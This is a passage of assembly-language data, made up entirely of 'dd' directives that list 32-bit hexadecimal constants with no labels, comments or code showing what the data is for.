		dd 130B9DF0h, 7F67011Fh, 2B00286Eh, 0AB7B0E76h,	421C55h
		dd 6F8A5A4Dh, 0D701E33h, 0F9907725h, 0DB7E8726h, 401BD05Ch
		dd 909DA8BFh, 0D307A4h,	29DFB3B0h, 0CE34986Fh, 807FD709h
		dd 85650B9Ah, 0BEFDDD42h, 2D6E97h, 0B530C7B3h, 27B160A8h
		dd 0F96063B6h, 0ABA10AE2h, 7A23CD76h, 1AC1FCDBh, 2AF987F2h
		dd 0E721E6A5h, 4280512Ch, 49BEEDFh, 0E067F600h,	9073D509h
		dd 508525B7h, 0C7812A60h, 4278B604h, 9BBE6A07h,	7601C081h
		dd 417A914h, 5DB70FFAh,	0FC6FFA6Ah, 0CB137602h,	4E55A279h
		dd 0D4A596D5h, 73708402h, 0F896ABA6h, 0A22AE196h, 0ACF1D5CDh
		dd 0B16E2DF3h, 49F66480h, 62C45731h, 59012005h,	6BD1FF61h
		dd 0A8803BDBh, 84C22737h
		dd 0C5A7A909h, 4E2E79ABh, 0B64A383Ch, 986DF33Fh, 17B75AAEh
		dd 0A6026AC1h, 9A78E0FEh, 0B47001EFh, 0D42C7131h, 3C432550h
		dd 56E5A1Eh, 6B7E352Dh,	3C0ED552h, 2F0129F7h, 80172AE0h
		dd 9C9780E9h, 828DF803h, 2AA3443h, 4029CFDDh, 5FC0D932h
		dd 25C20E00h, 0BD33DB1Ah, 0A7144AB5h, 0B9CD4FACh, 5AF5A760h
		dd 0DDD1E91Ch, 62367E2Dh, 6825F56h, 0A808F98Bh,	94BCBF02h
		dd 0DC4BF690h, 59034E00h, 904CB9E5h, 0AAB225A7h, 0FE8DEECCh
		dd 0AEB742E0h, 3AB007E4h, 85EE15CCh, 1D882ECh, 19BDF524h
		dd 3717E192h, 747EE2E0h, 57D809FCh, 2B2C8ED3h, 5F003210h
		dd 75CBF381h, 6A4A3DB0h, 0FBBC2BE9h, 7C01EA01h,	29D36EE5h
		dd 0AA9E1DAh, 0D7DD7E07h, 0B157211Dh, 71602E1Eh, 1D987Eh
		dd 1B998695h, 49E75E3Bh, 5CD10B1Eh, 3E053282h, 0C7045E9Dh
		dd 8B1708EAh, 0B08ED5ACh, 70E6FC03h, 126DE410h,	5371E40Ch
		dd 0B694D28h, 440272F7h, 0CF5881C7h, 5AFD16E8h,	237824ADh
		dd 0F6A6083Dh, 157D8425h, 0A1B461AAh, 0B500C0Fh, 0C82B5BF8h
		dd 8B064754h, 0EA8753D1h, 5F5B8005h, 90E8E94Ch,	6385C087h
		dd 17714D83h, 0B221D290h, 843ACBB0h, 0A2E8A909h, 2FD5FA89h
		dd 0CFBADF7h, 0B9D804C2h, 8B1121DAh, 6EDC2AD5h,	0ED8529C0h
		dd 0A05BBD05h, 29B5B2B2h, 2B11C359h, 0F82F6B5Ch, 8010457Bh
		dd 0A58A618Fh, 66FE0126h, 0A24D63BBh, 0BF3F5F84h, 0CA984B7Eh
		dd 23022FE0h, 2EEC4ACDh, 7470002Fh, 0B4854999h,	9D712BF4h
		dd 81A92348h, 7218F781h, 0A92A57F1h, 1237A94Dh,	0DABFA200h
		dd 83BB953h, 40E54FB5h,	0B3F6B8A5h, 0DF8BC517h,	0E3AFECB0h
		dd 99E092Eh, 1D208204h,	2BFDC1E7h, 59CEA72Ah, 0F6FAAC8Eh
		dd 5E5A28Eh, 7FABD9E8h,	1C230Eh, 4183B7CDh, 82F2A57Ch
		dd 8501C60Eh, 0ECB717C1h, 344C5FA2h, 29479095h,	0CACD5BB5h
		dd 93F591Eh, 448A44C2h,	6063B46Fh, 854B6E2Dh, 0BAEEB3E6h
		dd 3D85614Bh, 0C03A9EFEh, 0C864287Bh, 0C8A45E45h, 5200236Ah
		dd 0A379514h, 0EE180Bh,	50CC87BEh, 1CC41E5Fh, 1061634Ch
		dd 5B1806CDh, 1BDD1051h, 567D568Ah, 2B6F85B7h, 78A042F7h
		dd 91013EB1h, 0EB942670h, 88896925h, 83710FFDh,	4D50D1CFh
		dd 9CD69AE1h, 9D4F257Bh, 48915D49h, 71742EF8h, 98C0F1DAh
		dd 0F7B75156h, 662F20Ah, 0F913983Ah, 0F66E2C89h, 4090809Dh
		dd 26B2FEDAh, 0DE4DE1FFh, 72BFCA00h, 6266718Bh,	0DC3F00F2h
		dd 0E865D381h, 1497029Bh, 2A7745AFh, 8217538Fh,	0E84FED04h
		dd 0FC38122Dh, 8D78E23Dh, 0D6205920h, 600840F5h, 0DFB9B725h
		dd 0F516B3BDh, 0CE54350Ch, 390997FEh, 28DCDDF6h, 978051C4h
		dd 8A005965h, 0F99356CAh, 235F03CBh, 83D1E884h,	3D4C81B4h
		dd 55CC6A0Ah, 0E7015B30h, 7669A0FDh, 5913252Ch,	4688FA46h
		dd 0A7E4D64Ch, 0F61A0E00h, 0F96E6BADh, 441A9758h, 383DCC5Fh
		dd 5040358Dh, 5C124D98h, 12C44937h, 0A2B8AEF9h,	12BDB558h
		dd 92B2D4C4h, 80ADFC5Eh, 2D523235h, 0E9B1005Dh,	8AB24763h
		dd 92E47E77h, 82765F69h, 5D95B5D3h, 2B681480h, 0F74EA4D7h
		dd 4B570ECCh, 0D434805Bh, 84E7A2Ch, 0D3E09EB6h,	80040B92h
		dd 76532CB6h, 0BFB074ABh, 45167F6Ah, 72F881D1h,	0AED82AECh
		dd 834E01D3h, 1DE94217h, 2EF73A02h, 3B12C0A0h, 5F16F702h
		dd 40CCF484h, 95316938h, 395C4059h, 2B1F4348h, 9DC6A512h
		dd 0E1B5891Eh, 0E18254A7h, 2EDAB70Fh, 0EF815430h, 20F47C52h
		dd 9D12896Fh, 5AE71B69h, 3A04F82Dh, 10E2A28Dh, 61253035h
		dd 977C39C2h, 368713DCh, 0C1A2DAh, 0D0BDEFDDh, 232FC9h
		dd 0C4325F54h, 5696A830h, 66F4609Dh, 0A3AE3ABEh, 0DAEFA0CAh
		dd 0F11A36FDh, 528B5190h, 10F50B5Bh, 258D01B5h,	0F9540FF5h
		dd 0D4E6745Ah, 7ED7771Ch, 941EAF82h, 0E0965583h, 0A433BF39h
		dd 501399FAh, 0C00AF2EBh, 3094F54Ch, 21740058h,	16970E9Ah
		dd 8179103Fh, 59E6F825h, 24D0A8EAh, 4BAD5406h, 0F4D00975h
		dd 8C08E076h, 430703D8h, 984F2455h, 0F11A9BD0h,	58DC9031h
		dd 0E417091Ch, 5ACB6F58h, 4131CCE0h, 11C93E2Bh,	259D8h
		dd 0F97B2401h, 5F5B51A3h, 0B6A90897h, 96D09FCh,	2B259838h
		dd 0CCDFF14h, 740BAE4h,	65D6064h, 0D5507B63h, 60AC6FBDh
		dd 0F380A19Bh, 924AA04Dh, 0B219280Eh, 0D1211B2h, 0F706B831h
		dd 1709B5D1h, 0E4E15B0Fh, 0F031E62Bh, 9552EEE8h, 3BE90FE9h
		dd 9BAB1B85h, 6A83C0FBh, 0EC66C00Ah, 5F513BFh, 80B9AC51h
		dd 2C0919A6h, 5FB52F4Ch, 0E69E2610h, 7372B70Fh,	71D1C928h
		dd 8101D7E1h, 0F9CE7DC7h, 978DB3CCh, 0D574DE14h, 0C0DB3BE1h
		dd 0AAAD67C4h, 0B77F83A1h, 0BADD0792h, 0A880C225h, 24D6DC4Fh
		dd 590E615Ch, 89759F94h, 29ABD953h, 41B1F312h, 689C2B2Fh
		dd 3FCB2580h, 6D9DAB64h, 3CAFE2B9h, 235150E0h, 25E4DE82h
		dd 81500654h, 0ECD00BDFh, 7263644Ch, 4B4EB8C4h,	0B37E21EBh
		dd 0BE5F54F0h, 0ABC0A7DBh, 0ECFB13A6h, 0DAE3D817h, 2A51CEC1h
		dd 3B2ADD6Ah, 86461EA3h, 0A0BBC84Eh, 2EA40500h,	8832DB04h
		dd 5F5C0E58h, 6A205B4Ah, 0B8E78092h, 5B272997h,	2BFFD174h
		dd 0B39253BCh, 0BD0C5943h, 5F12A33Bh, 7D0D2CC2h, 2DE8424Dh
		dd 0E3D96760h, 974302A5h, 5D3FBB66h, 95BE2157h,	300D1F35h
		dd 0DB4B4B41h, 172B8199h, 0C0DDD87Bh, 0B6188300h, 0CF15AFB4h
		dd 464B00B1h, 3B25EDD8h, 0CE5A2070h, 3095AE3h, 0C25EA59Dh
		dd 68616A16h, 0B82A4B5Dh, 0CB5180C6h, 0F6D3D977h, 2EEC0591h
		dd 428D55Ch, 8A0871B8h,	0F7B31399h, 5FDB2C1h, 0D6D49678h
		dd 18B52077h, 98FDF8B5h, 1A8027D5h, 2B81DC73h, 954E63BAh
		dd 220FC86Fh, 3BCAA100h, 2E8BB10Fh, 0AB239041h,	0E9834E83h
		dd 38B9EC91h, 0E0924B64h, 98C6EACDh, 0B2DB12C8h, 0B292E637h
		dd 5CD5301Ch, 0F13BEA72h, 474A8D43h, 5768FC60h,	0B1D7C1A7h
		dd 0CC49FD63h, 760074E7h, 0A8B9F941h, 2554254h,	0F85608ADh
		dd 0B55C6159h, 96122A51h, 413BDFF0h, 2DB5F67h, 4B047F8Eh
		dd 34558107h, 2AB4596Eh, 637DA2DDh, 23DEECA9h, 1B31909Fh
		dd 2F40012h, 74D2D5CEh,	0CCA68D33h, 0C74B13B0h,	4B8B64D8h
		dd 60CC8DD9h, 0D29A0D1Ch, 59B59495h, 0D2F8DE66h, 5F3EB700h
		dd 0B5B9AFCh, 950AB86Bh, 10DFD79Ah, 44623Ch, 10BF38B6h
		dd 85192A01h, 80FDC41Ah, 0B02557A2h, 9BFB305Bh,	0B4001A74h
		dd 6C5C5793h, 7BFF4D79h, 1F867C37h, 0D7E3F2FEh,	28D189C6h
		dd 0C8CF4A1Eh, 0C09A9A5Ah, 0E9A5BF73h, 7DCD8809h, 7612DD01h
		dd 0D7466067h, 422E93F9h, 1EAD95D8h, 4325BD18h,	0EA9A9308h
		dd 3ACEE180h, 0AB0F657Ah, 8B6DA10Fh, 191BF550h,	3E6AFAE1h
		dd 0B101FC6Fh, 3803DF8Dh, 1A137FC2h, 658A0B2h, 6507E114h
		dd 239D5C09h, 0DED67Eh,	47B0E79Fh, 565B97F9h, 40ADC240h
		dd 897FC15h, 2DED99Eh, 30FCFD48h, 9B2210E8h, 0FA56C083h
		dd 3B82004Dh, 0C5056387h, 8E28AE41h, 3120DB91h,	815B001Ch
		dd 86699DF3h, 0A7B6900Dh, 0D02EB841h, 75E402C5h, 0F05600A9h
		dd 0B6F34A67h, 3C2FD26Dh, 0E10356C5h, 745F7CDEh, 905EFE4Eh
		dd 43E0E4F6h, 8DBF7AC8h, 0DB3B42E8h, 0A1798230h, 2DEADC37h
		dd 20C0874Dh, 0EA6B708Ch, 11F648F2h, 0D989DD2Fh, 17590B73h
		dd 0A612E818h, 0D1B3CDC2h, 12526950h, 0F313D10Ch, 61A7410Fh
		dd 46DBF2C1h, 28A6B270h, 25D18C34h, 0E4C545C1h,	0E6FD8716h
		dd 5F0057ECh, 0D1525DFh
		dd 2CF9614Ah, 1D6D026Ah, 0F2EF228Bh, 0B3299361h, 0C2BD0E79h
		dd 8C90042Ah, 671CA75Fh, 0BF40391Bh, 0AFF3F9ABh, 528C1F9Ah
		dd 0BB3383F7h, 7CB29412h, 9CF821F7h, 5D3D90C4h,	429599B8h
		dd 0C152CC31h, 0E9679B54h, 0EBA32A0Eh, 169D6684h, 2641BE30h
		dd 5F3F00EBh, 0EA1A8AF7h, 9403400Ah, 7B9B63DDh,	6EAADCE6h
		dd 0DF43002Bh, 0EE8E7539h, 46010F14h, 0BFA351A6h, 7B99E634h
		dd 35D5C65Fh, 801B91A7h, 0BDA9CA9Fh, 278504BAh,	0EB9D8B20h
		dd 49F5D5D2h, 0EF21FBEAh, 0B7028C2Bh, 56C9324Dh, 0F672F7F6h
		dd 69065E11h, 80F93777h, 0BE148DA4h, 364BFBEDh,	7A7BFB89h
		dd 8AAF07A1h, 0E3F096A2h, 4EB85B4Eh, 94F8A927h,	3917975h
		dd 0D8829880h, 4ACB6229h, 0D371EEEEh, 5D701C25h, 431E64CDh
		dd 85C0B9DAh, 0BBE60162h, 8D329E00h, 7D5C16E2h,	1A0905E6h
		dd 46B03F3Bh, 3E7BBDD9h, 0A5E076EBh, 0BFDE00D5h, 4B66EF2Bh
		dd 25DA9133h, 5DD31001h, 226F2D78h, 0DD587589h,	66BAF92Fh
		dd 82C97762h, 2E3384FFh, 69C4DAF8h, 92E4B80Fh, 0A6037208h
		dd 0D95AA50Dh, 92768C48h, 0B5BCE2C5h, 651E304Bh, 0EF4EFC42h
		dd 615538AEh, 90C82B25h, 716CB71Ah, 158044Ah, 0FA18F185h
		dd 64D1394Bh, 1B28008Fh, 2CC01098h, 250E0CB5h, 5434A1E4h
		dd 0A5C8D8BCh, 0D8898114h, 0E5D608D5h, 5720B609h, 0D00D946h
		dd 0C0BAB666h, 28C5D36h, 7E7B539Fh, 215E4193h, 8E0C2328h
		dd 5C7A0819h, 0A2235A25h, 3DBB3BF2h, 0EE3E2569h, 0B529092Ch
		dd 0C65D1895h, 359F90D1h, 0FF931909h, 23B5D9C8h, 840B1501h
		dd 31FD137h, 570EE8A8h,	1B80A5FAh, 199D09FEh, 2FE9204Ah
		dd 2D5FF580h, 0AC00CA08h, 73F31D56h, 4FF6363Bh,	4C01BC71h
		dd 95EC5A74h, 387BD9C9h, 230CDD04h, 1CDD6FFAh, 9235E4FEh
		dd 0C8AEB612h, 0E32780F0h, 0B2B755F1h, 32F6A980h, 97070595h
		dd 2A035399h, 0B91F1FB2h, 0E64FF83Eh, 7EDF092h,	5EE60947h
		dd 357809A4h, 0C0E84D9Fh, 0FC36CC6Dh, 0D6F2014Bh, 6FC02B16h
		dd 3B7405D8h, 1FE22301h, 3BE0FC4Bh, 8BA2CBE4h, 9BDA7700h
		dd 0F5C8F450h, 4DA8180Ch, 4CDF2AB8h, 2B15A1C9h,	6DBC8DD2h
		dd 74218602h, 5F8DA858h, 0E620F998h, 0E99148h, 417438F5h
		dd 25F82DCFh, 9FE75B09h, 77EE90ADh, 0CCB60060h,	16A4ED51h
		dd 0DEEAB39Eh, 958D3700h, 0A6BF4076h, 2E2824ECh, 703D0286h
		dd 745E3CDBh, 0C0B62F4Bh, 1BC326F3h, 60F79E42h,	1541B509h
		dd 80A0CE95h, 1272CB1Bh, 0AB719A74h, 18C8732Eh,	375BE6C0h
		dd 56224C80h, 0A03A1DC7h, 0E22074C9h, 6DD56B05h, 0D702472Fh
		dd 0FC8AC1EFh, 0BB384057h, 90129DCAh, 36F2A38Eh, 2B7BA489h
		dd 130732D8h, 8828EF02h, 4B7FAE21h, 0D6B8850Eh,	7987C980h
		dd 0FBB015Eh, 2F37EB2Fh, 0E69A4275h, 0BD2202D3h, 6655135Dh
		dd 0A135B773h, 0DE30B90Bh, 0A05547C1h, 0DB7DBB66h, 54205B4Ah
		dd 1898FD8Ch, 1E918B52h, 4E1D9E6Bh, 6509302Ah, 0D99082B7h
		dd 513D5E5Fh, 0DC601285h, 0FAD76016h, 0CE0B4CCFh, 743E56BFh
		dd 0F5FE2771h, 41938059h, 23B10989h, 2FF84111h,	0D7343728h
		dd 996FAF2Ch, 67806209h, 0F90BD554h, 0CB0D18B4h, 0F902Fh
		dd 1132BAF8h, 60CA64B2h, 2B788325h, 3C56415h, 0E867031h
		dd 0B6902ACBh, 6016D015h, 855C7FB7h, 0D98CC531h, 6E5E172Fh
		dd 0ADD0962h, 0E1107739h, 0A497B1B3h, 0C8525048h, 0BD023471h
		dd 9511FF97h, 15B1DFE2h, 1540ECD0h, 58FDCAD3h, 0F98D3182h
		dd 25716575h, 5401550h,	36BF0450h, 0A166823Eh, 0E06A768Fh
		dd 3EC110FFh, 0ECAF399Ch, 0F1406A6Fh, 4B9EACF2h, 29D38149h
		dd 43453F11h, 39AA0AA5h, 77B46B88h, 0E0875D0Fh,	6769BE9Eh
		dd 0C3BFF146h, 0DE232FD4h, 0DE5ABBDEh, 933CD4F9h, 0D1569223h
		dd 0DA5E56F7h, 0FABF8D5Eh, 80CBDF3Bh, 9A9447E5h, 27EF49E9h
		dd 0CB04646h, 6F13D9BBh, 2E071294h, 0BF41DCE2h,	342FF52Fh
		dd 0E3A65268h, 0A1A05B4Ah, 0E2DE951Dh, 0E9A33E63h, 13F43680h
		dd 578B97D8h, 7760856Fh, 3C0BA105h, 0C60535E9h,	82091D61h
		dd 3AD72379h, 8A4621h, 0B4234F35h, 7DFCF83Ah, 0A598760Bh
		dd 1FA1F52Ah, 6C899D33h, 2C7E517Ch, 1DEFC7A1h, 0D08EB663h
		dd 0FA0BB4F2h, 5C1000C4h, 0C7F99717h, 8209BB26h, 312AE26Ah
		dd 892E0BC9h, 0DCD1F2FDh, 5BA8C225h, 774970BBh,	2C32F70Eh
		dd 15E3C28Fh, 0E1D582DBh, 8A89419Dh, 0B8605C40h, 0D94312EAh
		dd 70E3B233h, 186C6D04h, 90FF3599h, 9FA8BD4h, 123DBD12h
		dd 0CC4F8AF7h, 0BD1733F5h, 279818D1h, 0D7110051h, 37D8A028h
		dd 4C0C7057h, 30AD5439h, 5B2040B9h, 2C94680Fh, 53B0B891h
		dd 7E8161C9h, 0EE8E2F6Bh, 0DE3ADEh, 7B91CBEBh, 3A5081D4h
		dd 0D495A790h, 2A8D12DEh, 41C480ADh, 1CF8553Fh,	6BB5750h
		dd 38237EE4h, 4D6B5AB7h, 6485B6Dh, 801505ABh, 54ECF4D3h
		dd 0F220FA92h, 0BC7E005h, 610F6997h, 4ADCEDF4h,	0EC95ADB4h
		dd 76FE8C1Bh, 0BDDC0C02h, 0F0BFB08Fh, 0CE1E4B1Dh, 3D3C2F74h
		dd 89DEADFFh, 830BF6BFh, 0D47C0370h, 14F1C11Ch,	66DD3E1Fh
		dd 2B38E13Eh, 91E92C8Eh, 85112BCBh, 84E35E0Ch, 4B110C6Eh
		dd 0EE3A5B8Ah, 0E863AD4Ah, 0F5DB015Dh, 570E5AC9h, 30E44BF1h
		dd 0DB8053BEh, 0DF810263h, 4F22EEE5h, 854D3155h, 0B7182BCAh
		dd 3C0047FDh, 9AB68668h, 9507F47Dh, 0B5BD10EEh,	0CCD70E64h
		dd 0AC295E0Eh, 0C2FF8088h, 0B7572BB9h, 931B9113h, 0E1F789BBh
		dd 0FDB77095h, 86DD184Bh, 1C12C27Bh, 87409h, 3B9929BFh
		dd 314A0F4Dh, 868AA89h,	7C4AB600h, 2F93EC64h, 1654D3Bh
		dd 83694337h, 0C47EA613h, 0DB948556h, 0C20B8495h, 718F05AEh
		dd 0FF6FAB0Ch, 0DD091523h, 1281545Ah, 11BBF710h, 63000FE9h
		dd 0E5E399FEh, 743E666Bh, 6AAD9DE7h, 7B238B49h,	811C9h
		dd 0E58D8735h, 4BD6F655h, 89BECCC6h, 54B9D7Dh, 6828A2DDh
		dd 0EE87364Bh, 5C82C976h, 8150975Fh, 6A0DB11Dh,	9AD665B2h
		dd 0DD1F81C3h, 302F4D0Ch, 15B5017Ah, 0BD6A63CBh, 0F2E812C3h
		dd 404E002Ch, 5FB6C5A8h, 479313E4h, 0AA27FB03h,	55E956ABh
		dd 5BCB4502h, 0E530FD7Ah, 525CF3E3h, 0C36DC11Ch, 18FCE24Ch
		dd 8A962C5Fh, 8C0F0989h, 868FB451h, 9BE9D7F2h, 0AD028BB8h
		dd 26D8F9EEh, 0B06675CCh, 78F73AF5h, 2112AE4Eh,	0B6467DE7h
		dd 0BC596AB2h, 52A3B700h, 1BE6794h, 920742DEh, 0ECDF1677h
		dd 9C2559D8h, 1370F411h, 5F8382C8h, 1D51715Eh, 34E214h
		dd 1901D176h, 4D03A2h, 515042F1h, 0FB6FEBFh, 0E5A5294Bh
		dd 3BA1A101h, 1588EA5Bh, 404948C2h, 82146583h, 0FB25A478h
		dd 42C7B30h, 29174DBDh,	2AA1826Fh, 0B5EE16D7h, 5027EF35h
		dd 25BD7B99h, 8D74C1DFh, 80F2F812h, 0B4D35D89h,	97C20BB8h
		dd 11375EFAh, 0E5FD4B3Dh, 7CBF6680h, 0BDBDC6E6h, 781101C2h
		dd 7C45622Bh, 7E6A805Ch, 0E97A40Ch, 64E0AC5Ch, 0AD1E8601h
		dd 0F7FBF0C3h, 7D465612h, 0EF94704h, 0ADB577BDh, 9EA82Dh
		dd 8A83EA6Dh, 0C757B43Eh, 0C461D8B7h, 0AF0DE95Dh, 7794C21h
		dd 95102908h, 0F9E40AFDh, 0A4C9A962h, 0FE34026Bh, 16FC90FCh
		dd 40F95017h, 38C301BCh, 1BD68B60h, 1361F34Ch, 0D9531D0h
		dd 8DCB0163h, 61ED1C15h, 2DCCB0F9h, 0D3BD23ADh,	0E92A7861h
		dd 0BC72F600h, 0D98D2954h, 0FAC6B505h, 0AB629569h, 2992F6DBh
		dd 0BCB74047h, 4B5AC4ABh, 1842452h, 38B82FE9h, 0F308FF2Dh
		dd 78EB01CCh, 3F739C29h
		dd 0BCA13AB7h, 801F2C07h, 5C765952h, 446A025Dh,	3F8EF4FEh
		dd 0F979A2FDh, 0EB1B5E18h, 0AA75EC05h, 1DC9CF9Ah, 0D14A1E30h
		dd 77FF8D02h, 634E14DDh, 0E9743807h, 3B482041h,	321DA305h
		dd 45DBD1FFh, 0BCBFF8C4h, 56BAA51Bh, 0BCF3FD01h, 0E41C0277h
		dd 26AF87Eh, 1BA00455h,	62ECB412h, 9D0BFEA8h, 0CE950CEAh
		dd 0B7E925BDh, 37C2B771h, 3A370BADh, 60DCE182h,	773B62A5h
		dd 0D40056C5h, 3F731728h, 86511297h, 0B2BFE61Dh, 25C8301Ch
		dd 8C30A80Fh, 0AC92DDE0h, 242043A8h, 4B509039h,	91E0CCE6h
		dd 0F04ECC27h, 0AB3525BAh, 85BFAC75h, 3B29FF3Fh, 0C09FCC78h
		dd 7AC33382h, 9AE41B74h, 0E16E6309h, 22C6DF07h,	3177A307h
		dd 0FBCB6A18h, 0C47D7225h, 0B176026Bh, 0B62DACCh, 0A18451A9h
		dd 3E22FB29h, 0C4A15CDFh, 10E84440h, 6E14BD40h,	6200340Ch
		dd 6027C68h, 1218C4DAh,	4490B41h, 162C113Dh, 0F7D05FFh
		dd 805B098Eh, 0BEE6F705h, 9DB53E08h, 19098889h,	2371E405h
		dd 0D701E682h, 1CFB8519h, 963A61DFh, 7A06BA59h,	0BCD64C70h
		dd 0A51300D8h, 672B9BF3h, 0E023DDFh, 162CFF0h, 513DC084h
		dd 5F9827B3h, 9584A054h, 29301609h, 0CA9475BDh,	51C82B09h
		dd 465B0012h, 0FEF7B3E8h, 678CC502h, 0D766A126h, 0FF19122h
		dd 1C4223Bh, 0A2B3F85Fh, 3025E04Eh, 0BA13C382h,	10BF0111h
		dd 2BF5714Ah, 22067A1Bh, 0B7250249h, 2571C95Ch,	2C80E812h
		dd 82738C71h, 0DC89F12Fh, 5B4038A5h, 0F854E92Eh, 1712250h
		dd 5E4FBA7Fh, 2BF38853h, 929D38FCh, 2281E2DEh, 0C62B5C35h
		dd 0A5FE1220h, 7FFE17A1h, 88162E33h, 28AD068h, 0C5615E6Dh
		dd 0B788C325h, 860F0B75h, 565AD95Eh, 1682C27Fh,	53C67709h
		dd 204A19F8h, 9667BABh,	82AABE1Bh, 8E35C793h, 29AA7696h
		dd 0E1EC017Fh, 6286051Bh, 0B90CC3BCh, 0BE8508A2h, 0E3C1DDDBh
		dd 7B5759B5h, 0FCE136D1h, 71CE13Eh, 1E2B7492h, 51FD8A89h
		dd 6C601EF6h, 61EB027Ch, 7DB5D22Bh, 5D46B686h, 0B7DE5A7Ah
		dd 301BF2F6h, 1373F18Ch, 2BD4F509h, 2D00742Eh, 0B812A0B7h
		dd 0F4AD90FFh, 494982DBh, 0D3818003h, 123E4FC8h, 0F9880D18h
		dd 132FECA4h, 0A19DBFDBh, 2AF3C9D7h, 15B2CFA6h,	252CAE30h
		dd 73CA52B7h, 40444F7Dh, 0B1BAEC4h, 61459282h, 8B6B2DE7h
		dd 3CE8D736h, 9570B24Ch, 5B1A90C7h, 59CDDD73h, 43209BC1h
		dd 0A24AD5CAh, 17F447F4h, 0BB01E4BDh, 1DADC016h, 518FCD7h
		dd 0E1FF3B2Ch, 0E8A0CCC0h, 282EF337h, 34AD511h,	88EF8B64h
		dd 0BB0966C4h, 715F133Dh, 39D4460Dh, 5274990h, 6797D92Ch
		dd 0AB93FE86h, 23084F7Ah, 118006E8h, 8C641CF7h,	0C2E0DDF4h
		dd 605B5435h, 0F8B7F5h,	0C2D01088h, 671229C7h, 0AE1463Dh
		dd 86BE63Ah, 271579BDh,	656271FEh, 7FE511AFh, 5C8BD170h
		dd 0ECB60040h, 9B520805h, 0F01DD6A8h, 0FCC77BE7h, 0C710B21Fh
		dd 7A3A4ABBh, 311A9574h, 1BCD7860h, 608B519Dh, 905205EBh
		dd 49CAD497h, 0E0736CDDh, 5F0F1737h, 81CC9B90h,	99CB7383h
		dd 0BD333E85h, 68BE90C5h, 0BF004D71h, 28BB5053h, 9F085866h
		dd 4E8EB7E8h, 3109A07Eh, 0D51F8D95h, 15913C37h,	0F85DF81h
		dd 2CF3228Ah, 8860C960h, 3CBAFAh, 6A54F06Dh, 41B529D5h
		dd 95611240h, 0AA09C19Ah, 0ADB9CB57h, 71EA35D5h, 2A30D1A4h
		dd 1888F3DDh, 422507F1h, 78BDF78Eh, 298F04B9h, 44AEF585h
		dd 0AA51B528h, 0BAC0F59Eh, 0CE62566h, 46E12C25h, 4FD497F9h
		dd 0CA74544Bh, 0E16A2730h, 92DE375Dh, 954F6B8h,	5B30FD9Dh
		dd 5A3E2B85h, 7C84CA7Dh, 3DD540CAh, 2802817Ch, 9E7D143Ah
		dd 59F5E0A8h, 0F8302574h, 501BDC54h, 0C7EEB506h, 35CC916h
		dd 0D630745Ah, 4202A77Eh, 1D476825h, 0BBC3401Ah, 7B24F558h
		dd 51E25B8h, 0E7CB755h,	0BC37B918h, 6E2D258Ah, 0BD017B6Eh
		dd 50F855C8h, 0EA9000E3h, 5490955Fh, 258723A9h,	0B00EFB5h
		dd 141B547Fh, 0F1271C3Ch, 0B66113B4h, 3A71E06Bh, 790F0913h
		dd 0DC5E555Eh, 7231D30Fh, 0C8DB56B2h, 335630F2h, 0E9EFD772h
		dd 43FD9C9h, 810583DBh,	1071D11h, 2E5E57E9h, 8957D680h
		dd 3B001CFCh, 12BB5329h, 0BE1B6452h, 715A4199h,	40488087h
		dd 462FE6C6h, 6E3F0BB4h, 1D556205h, 75CDD21Ch, 5BDD3C60h
		dd 0F5E01D84h, 6B28C4BFh, 0D16EBB1Bh, 0ECD6AC07h, 0EB80C125h
		dd 92282BCDh, 7A3AFD79h, 736D2F92h, 0D7D898Bh, 4469481Eh
		dd 2D0BD66Bh, 1071B2B8h, 0A1DE6E95h, 56C623DCh,	1746D659h
		dd 0D87DD604h, 1EC8AAEAh, 8F870BC7h, 0E562987Ah, 53683AD5h
		dd 2B56507Ah, 5B579018h, 8206A1D0h, 0EF04FA68h,	7E893526h
		dd 0D9DE9025h, 0AAB00074h, 0B4ED21F1h, 9201731Ch, 0AC3C6BEBh
		dd 0DEE128C0h, 0A8C7F23Fh, 48EF8EAh, 33417002h,	7CC6C148h
		dd 56532B36h, 0DF4A9BAFh, 644E70C5h, 0F7ED506h,	0B3204A09h
		dd 712F5861h, 3E8B094Bh, 0D4A8DF5Dh, 0A96982BFh, 74510607h
		dd 5FB2441Ah, 4029D718h, 46D65556h, 62C00016h, 4CB660BCh
		dd 0B4955A33h, 9A95615Bh, 2FFF74B9h, 14590353h,	89953D18h
		dd 0C0656DCFh, 859AEE1Ch, 6222C701h, 81B38AD6h,	2597FFF0h
		dd 0FA620221h, 729D5B57h, 12335857h, 0E397C780h, 0FBFE6417h
		dd 0BCD7FBACh, 5B31221Ah, 3F09B5BDh, 2B828D9Eh,	0CB61353Ah
		dd 388C8B0h, 0F82964C9h, 0A3CD95EFh, 84601464h,	54C55FB7h
		dd 9BAA11C5h, 0F4D8D75Bh, 9062F0DAh, 0F363021Ah, 919D2379h
		dd 52DDA1F5h, 6CC44EBBh, 78A99565h, 437162D3h, 0B3ADB244h
		dd 0AAFBF84Bh, 0B0604A14h, 0BBD32002h, 0B9D1E387h, 0D4693A00h
		dd 2DFC42Fh, 7236EFB0h,	3C5C3FFCh, 4EE82B66h, 0E40BA80Bh
		dd 0F65AD6BCh, 16B8F018h, 83DC094Ah, 0E6788414h, 0F34D109Fh
		dd 9B8700E3h, 4148A94Fh, 962FA85Bh, 64035E88h, 0CB20BE50h
		dd 4EEF8767h, 0BC00FFE7h, 47915FBFh, 55EA9556h,	0F9E0B64Dh
		dd 48FBC7Bh, 346C0959h,	142C8201h, 1B255666h, 48E730Bh
		dd 0B85FF852h, 0DF81C047h, 46DDC8B3h, 0E54B7A23h, 0F872438Dh
		dd 0B02AA84Bh, 126A323Dh, 0E2645503h, 1C6F8E32h, 0DE04D627h
		dd 0E5E0B30Bh, 3F3FE44Ah, 4C009571h, 735510F3h,	0F0128075h
		dd 52E3F1E1h, 6400D943h, 3AC5D42Fh, 0DB00C60Fh,	6BBD6084h
		dd 1F41575Eh, 385138C8h, 0F02EB64Ah, 97F819C7h,	49B54416h
		dd 132E7C80h, 80E9DB1Dh, 8C4DB4DCh, 9ECF2A80h, 0FF90BD6Ch
		dd 0F3005E6Fh, 2E070E8Ah, 7CC01385h, 8B6D13C9h,	82859BC1h
		dd 0C060BB05h, 801931AAh, 805EA81h, 6143552Fh, 0A912FEE8h
		dd 0ACEEB99Dh, 28388C17h, 5B9C241Ah, 90630507h,	896F2B43h
		dd 293C5035h, 0C09E3E87h, 0E7650E18h, 900F1612h, 45B8E7ADh
		dd 361FA002h, 0F5C78AA2h, 5147064Fh, 72D0DBC0h,	78225C7Fh
